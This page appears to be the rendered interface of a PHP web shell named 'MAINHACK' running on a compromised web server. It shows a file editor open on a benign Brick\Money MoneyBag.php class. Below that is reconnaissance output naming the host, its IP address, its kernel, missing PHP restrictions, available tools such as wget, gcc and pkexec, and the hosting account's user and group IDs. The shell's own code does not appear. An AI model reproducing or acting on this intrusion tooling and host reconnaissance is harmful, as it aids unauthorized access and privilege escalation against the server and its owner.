[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: MoneyBag.php
<?php declare(strict_types=1); namespace Brick\Money; use Brick\Math\BigRational; /** * Container for monies in different currencies. * * This class is mutable. */ final class MoneyBag implements MoneyContainer { /** * The amounts in this bag, indexed by currency code. * * @psalm-var array<string, BigRational> * * @var BigRational[] */ private $amounts = []; /** * Returns the amount in the given currency contained in the bag, as a rational number. * * Non-ISO (non-numeric) currency codes are accepted. * * @param Currency|string|int $currency The Currency instance, currency code or ISO numeric currency code. * * @return BigRational */ public function getAmount($currency) : BigRational { if (is_int($currency)) { $currencyCode = (string) Currency::of($currency); } else { $currencyCode = (string) $currency; } return isset($this->amounts[$currencyCode]) ? $this->amounts[$currencyCode] : BigRational::zero(); } /** * Returns the amounts contained in this bag, as rational numbers, indexed by currency code. * * @psalm-return array<string, BigRational> * * @return BigRational[] */ public function getAmounts() : array { return $this->amounts; } /** * Adds money to this bag. * * @param MoneyContainer $money A Money, RationalMoney, or MoneyBag instance. * * @return MoneyBag This instance. */ public function add(MoneyContainer $money) : MoneyBag { foreach ($money->getAmounts() as $currencyCode => $amount) { $this->amounts[$currencyCode] = $this->getAmount($currencyCode)->plus($amount); } return $this; } /** * Subtracts money from this bag. * * @param MoneyContainer $money A Money, RationalMoney, or MoneyBag instance. * * @return MoneyBag This instance. */ public function subtract(MoneyContainer $money) : MoneyBag { foreach ($money->getAmounts() as $currencyCode => $amount) { $this->amounts[$currencyCode] = $this->getAmount($currencyCode)->minus($amount); } return $this; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002